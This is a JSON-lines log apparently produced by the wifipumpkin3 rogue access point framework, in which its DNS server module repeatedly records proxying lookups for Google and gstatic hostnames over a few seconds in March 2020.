{"text": "2020-03-14 at 21:41:55 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:28.796409", "seconds": 28.796409}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:55.222222-03:00", "timestamp": 1584232915.222222}}}
{"text": "2020-03-14 at 21:41:55 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:28.850118", "seconds": 28.850118}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:55.275931-03:00", "timestamp": 1584232915.275931}}}
{"text": "2020-03-14 at 21:41:55 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:28.886386", "seconds": 28.886386}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:55.312199-03:00", "timestamp": 1584232915.312199}}}
{"text": "2020-03-14 at 21:41:55 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:28.960287", "seconds": 28.960287}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:55.386100-03:00", "timestamp": 1584232915.3861}}}
{"text": "2020-03-14 at 21:41:55 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:29.039505", "seconds": 29.039505}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:55.465318-03:00", "timestamp": 1584232915.465318}}}
{"text": "2020-03-14 at 21:41:55 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:29.109768", "seconds": 29.109768}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:55.535581-03:00", "timestamp": 1584232915.535581}}}
{"text": "2020-03-14 at 21:41:55 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:29.168866", "seconds": 29.168866}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:55.594679-03:00", "timestamp": 1584232915.594679}}}
{"text": "2020-03-14 at 21:41:55 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:29.271835", "seconds": 29.271835}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:55.697648-03:00", "timestamp": 1584232915.697648}}}
{"text": "2020-03-14 at 21:41:55 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:29.327521", "seconds": 29.327521}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:55.753334-03:00", "timestamp": 1584232915.753334}}}
{"text": "2020-03-14 at 21:41:55 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:29.376739", "seconds": 29.376739}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:55.802552-03:00", "timestamp": 1584232915.802552}}}
{"text": "2020-03-14 at 21:41:55 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:29.454446", "seconds": 29.454446}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:55.880259-03:00", "timestamp": 1584232915.880259}}}
{"text": "2020-03-14 at 21:41:55 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:29.559093", "seconds": 29.559093}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:55.984906-03:00", "timestamp": 1584232915.984906}}}
{"text": "2020-03-14 at 21:41:56 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:29.652030", "seconds": 29.65203}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:56.077843-03:00", "timestamp": 1584232916.077843}}}
{"text": "2020-03-14 at 21:41:56 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:29.727862", "seconds": 29.727862}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:56.153675-03:00", "timestamp": 1584232916.153675}}}
{"text": "2020-03-14 at 21:41:56 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:29.790426", "seconds": 29.790426}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:56.216239-03:00", "timestamp": 1584232916.216239}}}
{"text": "2020-03-14 at 21:41:56 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:29.894489", "seconds": 29.894489}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:56.320302-03:00", "timestamp": 1584232916.320302}}}
{"text": "2020-03-14 at 21:41:56 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:29.985061", "seconds": 29.985061}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:56.410874-03:00", "timestamp": 1584232916.410874}}}
{"text": "2020-03-14 at 21:41:56 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:30.059674", "seconds": 30.059674}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:56.485487-03:00", "timestamp": 1584232916.485487}}}
{"text": "2020-03-14 at 21:41:56 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:30.139815", "seconds": 30.139815}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:56.565628-03:00", "timestamp": 1584232916.565628}}}
{"text": "2020-03-14 at 21:41:56 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:30.230665", "seconds": 30.230665}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:56.656478-03:00", "timestamp": 1584232916.656478}}}
{"text": "2020-03-14 at 21:41:56 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:30.310952", "seconds": 30.310952}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:56.736765-03:00", "timestamp": 1584232916.736765}}}
{"text": "2020-03-14 at 21:41:56 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:30.364655", "seconds": 30.364655}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:56.790468-03:00", "timestamp": 1584232916.790468}}}
{"text": "2020-03-14 at 21:41:56 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:30.428371", "seconds": 30.428371}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:56.854184-03:00", "timestamp": 1584232916.854184}}}
{"text": "2020-03-14 at 21:41:56 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:30.476808", "seconds": 30.476808}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:56.902621-03:00", "timestamp": 1584232916.902621}}}
{"text": "2020-03-14 at 21:41:56 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:30.562630", "seconds": 30.56263}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:56.988443-03:00", "timestamp": 1584232916.988443}}}
{"text": "2020-03-14 at 21:41:57 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:30.636952", "seconds": 30.636952}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:57.062765-03:00", "timestamp": 1584232917.062765}}}
{"text": "2020-03-14 at 21:41:57 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:30.709812", "seconds": 30.709812}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:57.135625-03:00", "timestamp": 1584232917.135625}}}
{"text": "2020-03-14 at 21:41:57 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:30.804557", "seconds": 30.804557}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:57.230370-03:00", "timestamp": 1584232917.23037}}}
{"text": "2020-03-14 at 21:41:57 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:30.884394", "seconds": 30.884394}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:57.310207-03:00", "timestamp": 1584232917.310207}}}
{"text": "2020-03-14 at 21:41:57 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:30.964672", "seconds": 30.964672}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:57.390485-03:00", "timestamp": 1584232917.390485}}}
{"text": "2020-03-14 at 21:41:57 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:31.012265", "seconds": 31.012265}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:57.438078-03:00", "timestamp": 1584232917.438078}}}
{"text": "2020-03-14 at 21:41:57 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:31.091579", "seconds": 31.091579}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:57.517392-03:00", "timestamp": 1584232917.517392}}}
{"text": "2020-03-14 at 21:41:57 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:31.223558", "seconds": 31.223558}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:57.649371-03:00", "timestamp": 1584232917.649371}}}
{"text": "2020-03-14 at 21:41:57 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:31.437385", "seconds": 31.437385}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:57.863198-03:00", "timestamp": 1584232917.863198}}}
{"text": "2020-03-14 at 21:41:58 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:31.592852", "seconds": 31.592852}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:58.018665-03:00", "timestamp": 1584232918.018665}}}
